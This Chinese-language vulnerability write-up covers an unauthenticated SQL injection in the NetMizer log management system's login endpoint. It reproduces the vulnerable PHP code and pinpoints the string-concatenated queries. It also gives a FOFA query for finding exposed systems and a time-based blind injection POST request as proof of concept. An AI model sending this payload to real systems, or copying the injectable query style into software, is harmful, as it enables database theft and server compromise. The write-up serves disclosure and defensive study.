漏洞简介
NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具,能够高效采集、存储和分析网络设备及应用的日志数据。然而,该系统中的 /data/login/dologin.php 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用SQL注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。
影响版本
老旧版本
fofa语法
body="日志管理系统" && body="NetMizer"
漏洞分析
看下 /data/login/dologin.php 业务实现关键逻辑部分
<?php
include("../include/JSON.php");
$conn_id = mysql_connect($dsn,$dbuser,$dbpasswd);
mysql_select_db("sysmonitor");
$sqltable = "tbl_admin";
$sqlfrom = $sqltable;
$sqlsessiontable = "tbl_admin_session";
$sqlsessionfrom = $sqlsessiontable;
$allow_wrongnum = 3;
function gen_session($name, $ifsuccess){
global $sqlsessionfrom;
global $sqlfrom;
global $allow_wrongnum;
$t=time();
$ip = ip2long(getIP());
$usersessionid= $_COOKIE["usersessionid"];
$sqlstr = "SELECT DISTINCT user_name,wrong_times from $sqlsessionfrom where session_id='$usersessionid' and access_time>=".($t-300);
$res=mysql_query($sqlstr);
$have = 0;
$wrong_times = 0;
while($row = mysql_fetch_array($res,MYSQL_BOTH)){
$have = 1;
$wrong_times = $row['wrong_times'];
}
if($ifsuccess){
if($have == 0){
$usersessionid=md5($t.$name);
setcookie("usersessionid", "$usersessionid", $t + 3600, "/");
$cmd1="insert into $sqlsessionfrom (session_id,user_name,login_time,access_time,wrong_times,login_ip) VALUES('$usersessionid','$name',$t,$t,0,'$ip')";
} else {
$cmd1 = "update tbl_admin_session set access_time=$t,wrong_times=0 where session_id='$usersessionid'";
}
$cmd2="delete from $sqlsessionfrom where access_time<".($t-3600);
$ret = mysql_query($cmd1);
$ret = mysql_query($cmd2);
} else {
if($have){
$wrong_times = $wrong_times + 1;
if($wrong_times == $allow_wrongnum){
if($name == "admin") $errstr = "密码失败次数过多,等待5分钟后再登录";
else {
$sqlstr = "update $sqlfrom set status=0,disable_time=$t where username='$name'";
$res=mysql_query($sqlstr);
$errstr = "密码失败次数过多,账户已经被禁止<br>联系管理员解除禁止,且等待5分钟后再登录";
}
echo "{'success':true, 'datas':'$errstr'}";
exit();
}
$sqlstr = "update tbl_admin_session set access_time=$t,wrong_times=$wrong_times where session_id='$usersessionid'";
$res=mysql_query($sqlstr);
} else {
$usersessionid=md5($t.$name);
setcookie("usersessionid", "$usersessionid", $t + 3600, "/");
$cmd1="insert into $sqlsessionfrom (session_id,user_name,login_time,access_time,wrong_times,login_ip) VALUES('$usersessionid','$name',$t,$t,1,'$ip')";
$cmd2="delete from $sqlsessionfrom where access_time<".($t-3600);
$ret = mysql_query($cmd1);
$ret = mysql_query($cmd2);
}
}
return $ret;
}
function do_sql_login($username, $password) {
global $sqlfrom;
global $jump;
if($jump){
$username = "admin";
$session = gen_session($username, 0);
mysql_close($conn_id);
return 0;
}
$sqlstr = "SELECT password,status FROM $sqlfrom WHERE username='".$username."'";
$res = mysql_query($sqlstr);
if($res){
$have = 0;
while($row = mysql_fetch_array($res,MYSQL_BOTH)){
$have = 1;
$status = $row["status"];
if($status == 0) return -3;
$pwd = $row["password"];
if($password!="") $password = crypt($password,"poseidon");
if($pwd == $password){
$session = gen_session($username, 1);
mysql_close($conn_id);
return 0;
} else {
$session = gen_session($username, 0);
mysql_close($conn_id);
return -4;
}
}
mysql_close($conn_id);
if($have == 0) return -2;
} else return -1;
}
if(!isset($jump)) $jump = 0;
if($action == 'login'){
$username = mb_convert_encoding($username, 'gbk', 'UTF-8');
$passwd = mb_convert_encoding($passwd, 'gbk', 'UTF-8');
$res = do_sql_login($username,$passwd);
if($res < 0){
if($res == -1) $errstr = "连接数据库失败";
else if($res == -2) $errstr = "该用户不存在";
else if($res == -3) $errstr = "该用户处于禁止状态";
else if($res == -4) $errstr = "密码错误<br>连续错误".$allow_wrongnum."次后账户将会被禁止登录";
echo "{'success':true, 'datas':'$errstr'}";
} else {
if($jump) echo "<meta http-equiv=\"Refresh\" content=\"2; url=../../main.html\">";
else echo '{"success":true, "datas":"success"}';
}
mysql_close($conn_id);
return;
} else if($action == 'changepw'){
$old_password = mb_convert_encoding($old_password, 'gbk', 'UTF-8');
$new_password = mb_convert_encoding($new_password, 'gbk', 'UTF-8');
$usersessionid= $_COOKIE["usersessionid"];
$sqlstr = "SELECT DISTINCT user_name from $sqlsessionfrom where session_id='$usersessionid' ";
$res=mysql_query($sqlstr);
$username = "";
while($row = mysql_fetch_array($res,MYSQL_BOTH)){
$username = $row["user_name"];
}
if($username == ""){
$errstr = "查询不到该用户!";
echo "{'success':false,'info':'$errstr'}";
return;
}
$sqlstr = "SELECT password FROM $sqlfrom WHERE username='".$username."'";
$res = mysql_query($sqlstr);
while($row = mysql_fetch_array($res,MYSQL_BOTH)){
$pwd = $row["password"];
if($old_password!="") $password = crypt($old_password,"poseidon");
if($pwd != $password){
$errstr = "旧密码错误!";
echo "{'success':false,'info':'$errstr'}";
return;
}
}
$newpasswd = crypt($new_password,"poseidon");
$cmd="update $sqlfrom set password='$newpasswd' where username='".$username."'";
$ret = mysql_query($cmd);
mysql_close($conn_id);
$errstr = "修改成功!";
echo "{'success':true,'info':'$errstr'}";
return;
} else if($action == 'show'){
checkop('adminconf_r');
$sqlstr = "select * from $sqlfrom";
$res=mysql_query($sqlstr);
$arr_result = array();
while($row = mysql_fetch_array($res,MYSQL_BOTH)){
$arr_result[] = array(
'username'=>$row['username'],
'password'=>'no change rdh',
'status'=>$row['status'],
'disable_time'=>date('Y-m-d H:i:s', $row['disable_time']),
'right0'=>$row['right0'],
'right1'=>$row['right1'],
'right2'=>$row['right2'],
'right3'=>$row['right3'],
'right4'=>$row['right4'],
'right5'=>$row['right5'],
'right6'=>$row['right6'],
'right7'=>$row['right7'],
);
}
mysql_close($conn_id);
$str = array("success"=>true, "datas"=>$arr_result);
$json = json_encode($str);
echo $json;
return;
} else if($action == 'new'){
checkop('adminconf_w');
$username = mb_convert_encoding($username, 'gbk', 'UTF-8');
$password = mb_convert_encoding($password, 'gbk', 'UTF-8');
$sqlstr = "select * from $sqlfrom where username='$username'";
$res=mysql_query($sqlstr);
$have = 0;
while($row = mysql_fetch_array($res,MYSQL_BOTH)){
$have = 1;
}
if($have){
$errstr = mb_convert_encoding("用户已经存在!", 'UTF-8', 'gbk');
$errstr = "用户已经存在!";
echo "{'success':false, 'info':'$errstr'}";
return;
}
if($status == 0) $disable_time = time();
else $disable_time = 0;
$newpasswd = crypt($password,"poseidon");
$sqlstr = "insert into $sqlfrom (username,password,status,disable_time,right0,right1,right2,right3,right4,right5,right6,right7) values('$username','$newpasswd',$status,$disable_time,$right0,$right1,$right2,$right3,$right4,$right5,$right6,$right7);";
$res=mysql_query($sqlstr);
mysql_close($conn_id);
$errstr = "增加成功!";
echo "{'success':true,'info':'$errstr'}";
return;
} else if($action == 'modify'){
checkop('adminconf_w');
$username = mb_convert_encoding($username, 'gbk', 'UTF-8');
$password = mb_convert_encoding($password, 'gbk', 'UTF-8');
$sqlstr = "select * from $sqlfrom where username='$username'";
$res=mysql_query($sqlstr);
$arr_set = array();
while($row = mysql_fetch_array($res,MYSQL_BOTH)){
if($password != 'no change rdh') $arr_set['password'] = crypt($password,"poseidon");
if($status != $row['status']) $arr_set['status'] = $status;
if($right0 != $row['right0']) $arr_set['right0'] = $right0;
if($right1 != $row['right1']) $arr_set['right1'] = $right1;
if($right2 != $row['right2']) $arr_set['right2'] = $right2;
if($right3 != $row['right3']) $arr_set['right3'] = $right3;
if($right4 != $row['right4']) $arr_set['right4'] = $right4;
if($right5 != $row['right5']) $arr_set['right5'] = $right5;
if($right6 != $row['right6']) $arr_set['right6'] = $right6;
if($right7 != $row['right7']) $arr_set['right7'] = $right7;
}
$setstr = "set ";
$first = 1;
foreach($arr_set as $k => $v){
if($first == 1) $first = 0;
else $setstr .= " , ";
if($k == 'password') $setstr .= "$k='$v'";
else $setstr .= "$k=$v";
}
$sqlstr = "update $sqlfrom $setstr where username='$username'";
$res=mysql_query($sqlstr);
mysql_close($conn_id);
$errstr = "修改成功!";
echo "{'success':true,'info':'$errstr'}";
return;
} else if($action == 'delete'){
checkop('adminconf_w');
$username = mb_convert_encoding($username, 'gbk', 'UTF-8');
$sqlstr = "delete from $sqlfrom where username='$username'";
$res=mysql_query($sqlstr);
mysql_close($conn_id);
$errstr = "删除成功!";
echo "{'success':true,'info':'$errstr'}";
return;
} else if($action == 'u_enable' || $action == 'u_disable'){
checkop('adminconf_w');
$username = mb_convert_encoding($username, 'gbk', 'UTF-8');
if($action == 'u_enable') $status = 1;
else $status = 0;
if($status == 0) $disable_time = time();
else $disable_time = 0;
$sqlstr = "update $sqlfrom set status=$status,disable_time=$disable_time where username='$username'";
$res=mysql_query($sqlstr);
mysql_close($conn_id);
$errstr = "操作成功!";
echo "{'success':true,'info':'$errstr'}";
return;
}
?>
在 gen_session 和 do_sql_login 方法内部,以及多个 action 分支里,均存在直接将参数拼接进SQL语句中执行,造成SQL注入漏洞。
漏洞复现
漏洞利用示例
POST /data/login/dologin.php HTTP/1.1
Host: netmizer.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=login&username=' AND (SELECT 123 FROM (SELECT(SLEEP(3)))ABC) AND 'AAA'='AAA&passwd=123456
成功延时 3 秒


